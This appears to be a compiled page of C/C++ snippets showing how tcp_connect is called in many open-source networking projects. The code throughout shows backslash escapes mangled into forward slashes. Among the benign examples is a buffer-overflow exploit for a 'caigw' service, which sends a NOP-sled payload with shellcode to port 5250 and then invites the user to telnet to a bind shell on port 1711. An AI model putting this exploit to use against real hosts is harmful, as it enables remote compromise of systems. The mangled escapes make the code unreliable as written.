自学教程：C++ tcp_connect函数代码示例

int main(int argc, char **argv){	int fd;	int bytes_sent, bytes_recv;	int len;	char buffer[BUF_SIZE];	char *msg;	char *longbuf;		if(argc != 3)		die0("usage: ./client <destination_hostname> <remote_port>");		// connect	fd = tcp_connect(argv[1], atoi(argv[2]));		// compose msg to be sent	msg = (char *)malloc(MAX_CHARS * sizeof(char));	strcpy(msg, "GET /index.html HTTP/1.0/nHost: ");	strcat(msg, argv[1]);	strcat(msg, "/r/n/r/n"); // ends in CRLF	len = strlen(msg);		if((bytes_sent = send(fd, msg, len, 0)) < 0){		free(msg);		die0("send error/n");	}	printf("sent:/n %s/n", msg);		// receive into longbuf	longbuf = (char *)malloc(SQR(MAX_CHARS) * sizeof(char));	int index = 0;	do{		if((bytes_recv = recv(fd, buffer, sizeof(buffer), 0)) < 0){			free(msg);			free(longbuf);			die0("recv error/n");		}		sprintf((char *)&longbuf[index], buffer);		index += bytes_recv;	}while(bytes_recv != 0 && strlen(longbuf) < SQR(MAX_CHARS));		printf("received:/n %s/n", longbuf);		close(fd);	free(msg);	free(longbuf);	return 0;}

/****************************************************************************** **函数名称: mon_srch_connect **功    能: 测试代理服务处理大并发连接的能力 **输入参数: **     menu: 菜单 **输出参数: NONE **返    回: 连接代理服务 **实现描述:  **注意事项:  **作    者: # Qifeng.zou # 2014.12.27 # ******************************************************************************/static int mon_srch_connect(menu_cntx_t *menu_ctx, menu_item_t *menu, void *args){    char digit[256];    int idx, num, max;    int *fd;    mon_cntx_t *ctx = (mon_cntx_t *)args;    /* > 输入最大连接数 */    fprintf(stderr, "    Max connections: ");    scanf(" %s", digit);    max = atoi(digit);    fd = (int *)calloc(1, max*sizeof(int));    /* > 连接代理服务 */    num = 0;    for (idx=0; idx<max; ++idx) {        fd[idx] = tcp_connect(AF_INET, ctx->conf->search.ip, ctx->conf->search.port);        if (fd[idx] < 0) {            fprintf(stderr, "    errmsg:[%d] %s!/n", errno, strerror(errno));            break;        }        fprintf(stdout, "    Connect success! idx:%d fd:%d/n", idx, fd[idx]);        ++num;    }#if 1    /* 发送搜索数据 */    for (idx=0; idx<num; ++idx) {        mon_srch_send_rep(fd[idx], "爱我中华");    }#endif    if (num <= 0) {        return 0;    }    Sleep(5);    /* 关闭网络连接 */    for (idx=0; idx<num; ++idx) {        CLOSE(fd[idx]);    }    FREE(fd);    return 0;}

DWORD initialize_deliver( struct audit_profile *audit ){	if((audit->connected_sock = tcp_connect(audit->host, audit->port)) == -1)	{		if(NETIO_DEBUG)		fprintf(stderr,						"[%08X] Error: Failed to make TCP connection to remote service/n"				,audit->connected_sock);			return(-1);	}	return(0);}

int tcp_client_start(char* ip, u_short port, char* send_buf = NULL){	SOCKET sock;	if(send_buf == NULL)	{		send_buf = (char*)malloc(64);		memset(send_buf, 'T', 64);	}	socket_init();	tcp_socket(&sock);	tcp_connect(&sock, ip, port);	tcp_send(&sock, send_buf, 64);		return 0;}

/* connect remote SMTP server */static voidsmtp_connect(smtp_t * smtp){	enum connect_result status;	if ((smtp->fd = socket(global_data->smtp_server.ss_family, SOCK_STREAM, IPPROTO_TCP)) == -1) {		DBG("SMTP connect fail to create socket.");		free_smtp_all(smtp);		return;	}	status = tcp_connect(smtp->fd, &global_data->smtp_server);	/* Handle connection status code */	thread_add_event(master, SMTP_FSM[status].send, smtp, smtp->fd);}

int EthernetClient::connect(IPAddress ip, uint16_t port, unsigned long timeout) {	ip_addr_t dest;	dest.addr = ip;	cs->cpcb = tcp_new();	cs->read = 0;	cs->p = NULL;	if (cs->cpcb == NULL) {		return false;	}	tcp_arg((tcp_pcb*)cs->cpcb, this);	tcp_recv((tcp_pcb*)cs->cpcb, do_recv);	tcp_err((tcp_pcb*)cs->cpcb, do_err);	uint8_t val = tcp_connect((tcp_pcb *)cs->cpcb, &dest, port, do_connected);	if (val != ERR_OK) {		return false;	}	/* Wait for the connection.	 * Abort if the connection does not succeed within the prescribed timeout */	unsigned long then = millis();	while (!_connected) {		unsigned long now = millis();		delay(10);		if (now - then > timeout) {			tcp_close((tcp_pcb*)cs->cpcb);			cs->cpcb = NULL;			return false;		}	}	if (cs->cpcb->state != ESTABLISHED) {		_connected = false;		tcp_close((tcp_pcb*)cs->cpcb);		cs->cpcb = NULL;		return false;	}	/* Poll to determine if the peer is still alive */	tcp_poll((tcp_pcb*)cs->cpcb, do_poll, 10);	return _connected;}

int http_download_photo(char *path, char *email){	struct connection *conn;	struct connect_options conn_opts = {0};	int error_code;	int rc;	if (!open_socket_lib()) return 0;	rc = 0;	if ((conn = tcp_connect("simplemail.sourceforge.net", 80, &conn_opts, &error_code)))	{		char *line;		int download = 0;		tcp_write(conn,"GET /gallery_get_image.php?",sizeof("GET /gallery_get_image.php?")-1);		tcp_write(conn,email,strlen(email));		tcp_write(conn," HTTP/1.0/r/nhost: simplemail.sourceforge.net/r/n/r/n",sizeof(" HTTP/1.0/r/nhost: simplemail.sourceforge.net/r/n/r/n")-1);		while ((line = tcp_readln(conn)))		{			if (!mystrnicmp("Content-Type: image/",line,20)) download = 1;			if (line[0] == 10 && line[1] == 0) break;		}		if (download)		{			FILE *fp = fopen(path,"wb");			if (fp)			{				int got;				char buf[1024];				while ((got = tcp_read(conn,buf,1024))>0)				{					fwrite(buf,1,got,fp);				}				rc = 1;				fclose(fp);			}		}		tcp_disconnect(conn);	}	close_socket_lib();	return rc;}

void on_accept(tcp_client *client) {    conn_peer *cpeer = (conn_peer*)ohmalloc(sizeof(conn_peer));    tcp_client *rclient = (tcp_client*)ohmalloc(sizeof(tcp_client));    tcp_client_init(rclient, &serv_addr, client->loop_on, 0, NULL, 0);    tcp_connection_set_on_connect(rclient, on_connect);    tcp_connection_set_on_close(rclient, on_close);    tcp_connection_set_on_read(rclient, on_read);    tcp_connect(rclient);    client->data = (void*)cpeer;    rclient->data = (void*)cpeer;    cpeer->conn[0] = client;    cpeer->conn[1] = rclient;    cpeer->status[0] = ON;    cpeer->status[1] = OFF;}

static void client (){    sock_data_t self;    char buffer[BUFLEN];    int e;    sock_data_init(&self, "127.0.0.1", 9000);    if (tcp_connect(&self, &e)) {        strerror_r(e, buffer, BUFLEN);        fprintf(stderr, "Connecting to server: %s/n", buffer);        return;    }    write(self.fd, "hello world", strlen("hello world"));    close(self.fd);}

inttcp_connect_thread(thread_t * thread){	SOCK *sock_obj = THREAD_ARG(thread);	if ((sock_obj->fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1) {		DBG("WEB connection fail to create socket./n");		return 0;	}	sock->status = tcp_connect(sock_obj->fd, req->addr_ip, req->addr_port);	/* handle tcp connection status & register check worker thread */	tcp_connection_state(sock_obj->fd, sock_obj->status, thread, tcp_check_thread,			     HTTP_CNX_TIMEOUT);	return 0;}

/* Open a data connection. Only Passive mode supported yet, easier..	*/int ftp_data( ftp_t *conn ){	int i, info[6];	char host[MAX_STRING];		/* Already done?						*/	if( conn->data_fd > 0 )		return( 0 );	/*	if( conn->ftp_mode == FTP_PASSIVE )	{*/		ftp_command( conn, "PASV" );		if( ftp_wait( conn ) / 100 != 2 )			return( 0 );		*host = 0;		for( i = 0; conn->message[i]; i ++ )		{			if( sscanf( &conn->message[i], "%i,%i,%i,%i,%i,%i",			            &info[0], &info[1], &info[2], &info[3],			            &info[4], &info[5] ) == 6 )			{				sprintf( host, "%i.%i.%i.%i",				         info[0], info[1], info[2], info[3] );				break;			}		}		if( !*host )		{			sprintf( conn->message, _("Error opening passive data connection./n") );			return( 0 );		}		if( ( conn->data_fd = tcp_connect( host,			info[4] * 256 + info[5], conn->local_if ) ) == -1 )		{			sprintf( conn->message, _("Error opening passive data connection./n") );			return( 0 );		}				return( 1 );/*	}	else	{		sprintf( conn->message, _("Active FTP not implemented yet./n" ) );		return( 0 );	} */}

/*-----------------------------------------------------------------------------------*/static voidconnect(void){  uip_ipaddr_t addr, *addrptr;  uint16_t port;  char *cptr;  struct uip_conn *conn;  /* Find the first space character in host and put a zero there     to end the string. */  for(cptr = telnethost; *cptr != ' ' && *cptr != 0; ++cptr);  *cptr = 0;  addrptr = &addr;#if UIP_UDP  if(uiplib_ipaddrconv(telnethost, &addr) == 0) {    addrptr = resolv_lookup(telnethost);    if(addrptr == NULL) {      resolv_query(telnethost);      show("Resolving host...");      return;    }  }#else /* UIP_UDP */  uiplib_ipaddrconv(telnethost, &addr);#endif /* UIP_UDP */  port = 0;  for(cptr = telnetport; *cptr != ' ' && *cptr != 0; ++cptr) {    if(*cptr < '0' || *cptr > '9') {      show("Port number error");      return;    }    port = 10 * port + *cptr - '0';  }  conn = tcp_connect(addrptr, uip_htons(port), &ts_appstate);  if(conn == NULL) {    show("Out of memory error");    return;  }  show("Connecting...");}

/* * Given a host and timeout, probe the IMAP server.  The port is not * configurable.  The host defaults to localhost.  This closes down the IMAP * connection nicely rather than just closing the connection. */static intprobe_imap(const char *host, int timeout){    socket_type sd;    int retval = 0;    sd = tcp_connect(host ? host : "localhost", "imap", 143);    if (sd == INVALID_SOCKET)        return -1;    else {        retval = lbcd_check_reply(sd, timeout, "* OK");        /* Only for clean shutdown, don't care about failure. */        if (socket_write(sd, "tag logout/r/n", 12) < 0) {}        socket_close(sd);    }    return retval;}

int PubSub_mbed::connect(char *id) {    err_t err= tcp_connect(this->pcb, &server, 1883, tcp_fun);    if(err != ERR_OK) {        printf("Connection Error : %d/r/n",err);        return -1;    } else {        //printf("Connection sucessed../r/n");    }    wait(1);    tcp_accept(this->pcb, tcp_fun);    device_poll();    // variable header    uint8_t var_header[] = {0x00,0x06,0x4d,0x51,0x49,0x73,0x64,0x70,0x03,0x02,0x00,KEEPALIVE/500,0x00,strlen(id)};    // fixed header: 2 bytes, big endian    uint8_t fixed_header[] = {MQTTCONNECT,12+strlen(id)+2};    char packet[sizeof(fixed_header)+sizeof(var_header)+strlen(id)];    memset(packet,0,sizeof(packet));    memcpy(packet,fixed_header,sizeof(fixed_header));    memcpy(packet+sizeof(fixed_header),var_header,sizeof(var_header));    memcpy(packet+sizeof(fixed_header)+sizeof(var_header),id,strlen(id));    //Send MQTT identification message to broker.    err = tcp_write(this->pcb, (void *)packet, sizeof(packet), 1);    if (err == ERR_OK) {        tcp_output(this->pcb);        //printf("Identificaiton message sended correctlly.../r/n");        return 1;    } else {        printf("Failed to send the identification message to broker.../r/n");        printf("Error is: %d/r/n",err);        tcp_close(this->pcb);        return -2;    }    printf("/r/n");    device_poll();    return 1;}

/**  * connect - the function will connect loacl socket to target IP device  *                      * @param sockfd   the handle of the socket  * @param addr     structure filled of target ip address and port  * @param addrlen  the length of the target addr structure  *  * @return the result  */int connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen){    struct socket *socket = (struct socket *)sockfd;    int ret = -1;       if (SOCK_STREAM == socket->type)    {         ret = tcp_connect(socket->pcb, (struct ip_addr *)&addr->sin_addr, addr->sin_port, NULL);    }    else if (SOCK_PACKET == socket->type)    {         ret = udp_connect(socket->pcb, (struct ip_addr *)&addr->sin_addr, addr->sin_port);          udp_recv(socket->pcb, socket_udp_recv, socket);             }      return ret;}

int ClientBenchmarkConnections(WOLFSSL_CTX* ctx, char* host, word16 port,    int doDTLS, int benchmark, int resumeSession){    /* time passed in number of connects give average */    int times = benchmark;    int loops = resumeSession ? 2 : 1;    int i = 0;    WOLFSSL_SESSION* benchSession = NULL;    while (loops--) {        int benchResume = resumeSession && loops == 0;        double start = current_time(), avg;        for (i = 0; i < times; i++) {            SOCKET_T sockfd;            WOLFSSL* ssl = wolfSSL_new(ctx);            if (ssl == NULL)                err_sys("unable to get SSL object");            tcp_connect(&sockfd, host, port, doDTLS, ssl);            if (benchResume)                wolfSSL_set_session(ssl, benchSession);            wolfSSL_set_fd(ssl, sockfd);            if (wolfSSL_connect(ssl) != SSL_SUCCESS)                err_sys("SSL_connect failed");            wolfSSL_shutdown(ssl);            if (i == (times-1) && resumeSession) {                benchSession = wolfSSL_get_session(ssl);            }            wolfSSL_free(ssl);            CloseSocket(sockfd);        }        avg = current_time() - start;        avg /= times;        avg *= 1000;   /* milliseconds */        if (benchResume)            printf("wolfSSL_resume  avg took: %8.3f milliseconds/n", avg);        else            printf("wolfSSL_connect avg took: %8.3f milliseconds/n", avg);    }    return EXIT_SUCCESS;}

/** Start TCP connection back to the client (either parallel or after the * receive test has finished. */static err_tlwiperf_tx_start(lwiperf_state_tcp_t* conn){  err_t err;  lwiperf_state_tcp_t* client_conn;  struct tcp_pcb* newpcb;  ip_addr_t remote_addr;  u16_t remote_port;  client_conn = (lwiperf_state_tcp_t*)LWIPERF_ALLOC(lwiperf_state_tcp_t);  if (client_conn == NULL) {    return ERR_MEM;  }  newpcb = tcp_new();  if (newpcb == NULL) {    LWIPERF_FREE(lwiperf_state_tcp_t, client_conn);    return ERR_MEM;  }  memcpy(client_conn, conn, sizeof(lwiperf_state_tcp_t));  client_conn->base.server = 0;  client_conn->server_pcb = NULL;  client_conn->conn_pcb = newpcb;  client_conn->time_started = sys_now(); /* TODO: set this again on 'connected' */  client_conn->poll_count = 0;  client_conn->next_num = 4; /* initial nr is '4' since the header has 24 byte */  client_conn->bytes_transferred = 0;  client_conn->settings.flags = 0; /* prevent the remote side starting back as client again */  tcp_arg(newpcb, client_conn);  tcp_sent(newpcb, lwiperf_tcp_client_sent);  tcp_poll(newpcb, lwiperf_tcp_poll, 2U);  tcp_err(newpcb, lwiperf_tcp_err);  ip_addr_copy(remote_addr, conn->conn_pcb->remote_ip);  remote_port = (u16_t)htonl(client_conn->settings.remote_port);  err = tcp_connect(newpcb, &remote_addr, remote_port, lwiperf_tcp_client_connected);  if (err != ERR_OK) {    lwiperf_tcp_close(client_conn, LWIPERF_TCP_ABORTED_LOCAL);    return err;  }  lwiperf_list_add(&client_conn->base);  return ERR_OK;}

static int gather_relay2(struct candidate *cand, int turn_proto){	struct ice_lcand *base = cand->base;	int err;	switch (turn_proto) {	case IPPROTO_UDP:		/* the TURN-client must be created using the UDP-socket		 * of the base candidate		 */		err = turnc_alloc(&cand->turnc, NULL, turn_proto,				  base->us, LAYER_TURN, &cand->turn_srv,				  cand->ag->cli->param.username,				  cand->ag->cli->param.password,				  TURN_DEFAULT_LIFETIME, turnc_handler, cand);		if (err) {			re_printf("turn client: %m/n", err);		}		break;	case IPPROTO_TCP:		re_printf("TURN-TCP -- connecting to %J ../n",			  &cand->turn_srv);		/* NOTE: we are connecting _from_ an ephemeral port,		 *       since we might have Zero TCP-candidates		 */		err = tcp_connect(&cand->tc, &cand->turn_srv,				  tcp_estab_handler, tcp_recv_handler,				  tcp_close_handler, cand);		if (err) {			re_printf("tcp_connect error (%m)/n", err);			return err;		}		break;	default:		return EPROTONOSUPPORT;	}	return 0;}

// ---------------------------------------------------------------------------// Enviar mensaje por puerto TCP con informacion de CliTcp//UINT8 TCP_SendCliTcpBuff(UINT8 * Buff, UINT16 BufLen){  UINT16  i;  UINT16  len;  UINT8   TimerGetStateId;  //  CliTcpIpChar[0] = 192;//  CliTcpIpChar[1] = 168;//  CliTcpIpChar[2] = 0;//  CliTcpIpChar[3] = 32; 	     if (tcp_getstate(TcpCliTcpSoch) != TCP_STATE_CONNECTED){        if ( tcp_connect (TcpCliTcpSoch, CliTcpIp, (UINT16)(CliTcpSockPort), 0 ) == (-1)){ // (UINT16)(DNP_LOCAL_PORT)         return 0x01;      }  }  if (tcp_checksend(TcpCliTcpSoch) < 0)   {    TcpWhileFlag = 0x01;    TimerGetStateId = TMR_SetTimer ( TCP_WAITFORSEND_TOUT , OS_NOT_PROC, TCP_StopWhileProc, FALSE);    while (tcp_checksend(TcpCliTcpSoch) < 0)    {       if (!TcpWhileFlag) return 0x01;    // Cuando vence el timer se resetea TcpWhileFlag    }    TMR_FreeTimer ( TimerGetStateId );  }    len = 0;  for( i=0 ; i < BufLen ; i++ ){	  net_buf[TCP_APP_OFFSET+len] = *Buff;	  Buff++;	  len++;	}  if(tcp_send(TcpCliTcpSoch, &net_buf[TCP_APP_OFFSET], NETWORK_TX_BUFFER_SIZE - TCP_APP_OFFSET, len) == len) {	    DEBUGOUT("TCP: bytes reply sent!/r/n");	}  else {      DEBUGOUT("TCP: error occured while trying to send data!/r/n");	}	return 0x00;}

int nego_tcp_connect(NEGO *nego){	if (nego->tcp_connected == 0)	{		if (tcp_connect(nego->iso->tcp, nego->hostname, nego->port) == False)		{			nego->tcp_connected = 0;			return 0;		}		else		{			nego->tcp_connected = 1;			return 1;		}	}	return 1;}

static socket_error_t lwipv4_socket_connect(struct socket *sock, const struct socket_addr *address, const uint16_t port){    err_t err = ERR_OK;    if (!socket_addr_is_ipv4(address)) {        return SOCKET_ERROR_BAD_ADDRESS;    }    switch (sock->family){    case SOCKET_DGRAM:        err = udp_connect((struct udp_pcb *)sock->impl, (void*)socket_addr_get_ipv4_addrp(address), port);        break;    case SOCKET_STREAM:        err = tcp_connect((struct tcp_pcb *)sock->impl, (void*)socket_addr_get_ipv4_addrp(address), port, irqConnect);        break;    default:        return SOCKET_ERROR_BAD_FAMILY;    }    return lwipv4_socket_error_remap(err);}

// we must reconnect if the login list isnt completed...int telnet_disconnect(Modules *mptr, Connection *cptr, char *buf, int size) {    CustomState *Cstate = CustomState_Ptr(cptr);    Connection *conn = cptr;        // close current fd..    close(cptr->fd);    cptr->fd = 0;        // now attempt to reuse the Connection structure (so we keep our state with usernames/passwords)    if (Cstate->complete || tcp_connect(mptr, cptr->list, cptr->addr, cptr->port, &conn) == NULL) {        // returning 0 means it will get removed (since its during disconnect)         //ConnectionBad(cptr);        return 0;    }        // returning 1 saves the structure from being removed    return 1;}

static doubleget_tcp_bw(struct sockaddr_in *addr, const int count){    double diff;    struct timeval t1, t2;    gettimeofday(&t1, NULL);    tcp_connect(addr, count);    gettimeofday(&t2, NULL);    diff = sub_timeval(&t1, &t2);    printf("diff time %f/n", diff);    diff = ((double)count)/(diff*BUFSIZE);    printf("bw %f MB/n", diff);    return diff;}

static void tcp_connect_cb(void *ctx_p){    struct socket_t *socket_p = ctx_p;    const struct inet_addr_t *remote_addr_p;    ip_addr_t ip;    remote_addr_p = socket_p->input.cb.args_p;    inet_ip_to_lwip_ip(&ip, &remote_addr_p->ip);    socket_p->output.cb.state = STATE_CONNECT;    if (tcp_connect(socket_p->pcb_p,                    &ip,                    remote_addr_p->port,                    on_tcp_connected) != ERR_OK) {        socket_p->output.cb.state = STATE_IDLE;        resume_thrd(socket_p->input.cb.thrd_p, -1);    }}

static void show_exported_devices(char *host){	int ret;	SOCKET sockfd;	sockfd = tcp_connect(host, USBIP_PORT_STRING);	if (INVALID_SOCKET == sockfd){		info("- %s failed", host);		return;	}	info("- %s", host);	ret = query_exported_devices(sockfd);	if (ret < 0) {		err("query");	}	closesocket(sockfd);}

/* * Initiate connection to peer. * Create a template for use in transmissions on this connection. * Enter SYN_SENT state, and mark socket as connecting. * Start keep-alive timer, and seed output sequence space. * Send initial segment on connection. */static voidtcp_usr_connect(netmsg_t msg){	struct socket *so = msg->connect.base.nm_so;	struct sockaddr *nam = msg->connect.nm_nam;	struct thread *td = msg->connect.nm_td;	int error = 0;	struct inpcb *inp;	struct tcpcb *tp;	struct sockaddr_in *sinp;	COMMON_START(so, inp, 0);	/*	 * Must disallow TCP ``connections'' to multicast addresses.	 */	sinp = (struct sockaddr_in *)nam;	if (sinp->sin_family == AF_INET	    && IN_MULTICAST(ntohl(sinp->sin_addr.s_addr))) {		error = EAFNOSUPPORT;		goto out;	}	if (!prison_remote_ip(td, (struct sockaddr*)sinp)) {		error = EAFNOSUPPORT; /* IPv6 only jail */		goto out;	}	tcp_connect(msg);	/* msg is invalid now */	return;out:	if (msg->connect.nm_m) {		m_freem(msg->connect.nm_m);		msg->connect.nm_m = NULL;	}	if (msg->connect.nm_flags & PRUC_HELDTD)		lwkt_rele(td);	if (error && (msg->connect.nm_flags & PRUC_ASYNC)) {		so->so_error = error;		soisdisconnected(so);	}	lwkt_replymsg(&msg->lmsg, error);}

int main(int argc, char *argv[]){  char buffer[1024];  int s;  int listener;  struct sockaddr_in addr;  int port;  size_t len;  memset(buffer, 0, 1024);  winsock_initialize();  s = tcp_connect("www.google.ca", 80);  if(s < 0)    DIE("Fail");  tcp_send(s, "GET / HTTP/1.0/r/nHost: www.google.com/r/n/r/n", 41);  tcp_recv(s, buffer, 1024);  tcp_close(s);  printf("%s/n", buffer);  printf("Listening on TCP/6666/n");  listener = tcp_listen("0.0.0.0", 6666);  s = tcp_accept(listener, &addr, &port);  if(s < 0)    DIE("Fail");  printf("Connection accepted from %s:%d/n", inet_ntoa(addr.sin_addr), ntohs(addr.sin_port));  memset(buffer, 0, 1024);  strcpy(buffer, "HELLO!");  len = 7;  while(len > 0 && tcp_send(s, buffer, len) >= 0)  {    memset(buffer, 0, 1024);    len = tcp_recv(s, buffer, 1024);    printf("Received: %s [%d]/n", buffer, len);  }  printf("%s/n", buffer);  return 1;}

/*Just supply a target ./caigw-win32 hostname */int main(int argc, char *argv[]){char buffer[MAXSIZE+1];int i = 0;int sclen = sizeof(sc), sock = 0;if(!argv[1])return 0;memset(buffer,'/x90',MAXSIZE/2);memcpy(buffer,"GET",3);for(i=3;i<24;i++)memcpy(buffer+i," ",1);for(i=21;i<423;i++)buffer[i] = 'A';/* XP SP2*/ //memcpy(buffer + 423+25,"/xdd/x10/x12/x12",4);/*W2ksp4 */memcpy(buffer + 422+25,"/xdd/x10/x12/x12",4);memcpy(buffer + 460,sc,sclen - 1);memcpy(buffer + (460 + sclen)," HTTP/1.0/r/n/r/n/r/n",16);buffer[460+sclen+20] = '/0';if( (sock = tcp_connect(argv[1],5250)) != -1 ){int bytes = 0;printf("[~] Sending request... /n");bytes = send(sock,buffer,strlen(buffer),0);printf("[!] Sent [%d] bytes/n",bytes);}else return -1;close(sock);sleep (2);printf("[@] Now telnet to port 1711/n");return 0;}

intmain(int argc, char **argv){	int sock;	struct config_t config;	struct buffer_t buffer;		/* initialize buffer */	buffer_init(&buffer);		/* parse arguments and config file */	if (setup(&config, argc, argv) != SETUP_OK) {		usage(stderr);		return EX_USAGE;	}		/* ask password if none was given, but username is set */	if (config.username && !config.password) {		config.password = askpass_tty(PASSWORD_PROMPT);		/* exit if unable to get password */		if (!config.password)			return EX_NOINPUT;	}		/* connect to proxy */	if ((sock = tcp_connect(config.proxyname, config.proxyport)) == -1)		return EX_UNAVAILABLE;		/* tunnel setup */	if (proxy_connect(sock, &buffer, config.hostname, config.hostport,		config.username, config.password) != 0)	{		close(sock);		return EX_UNAVAILABLE;	}		/* tunnel data (does not return on failure) */	tunnel_handler(&buffer, config.ifd, config.ofd, sock, sock);		/* cleanup */	close(sock);		return EX_OK;}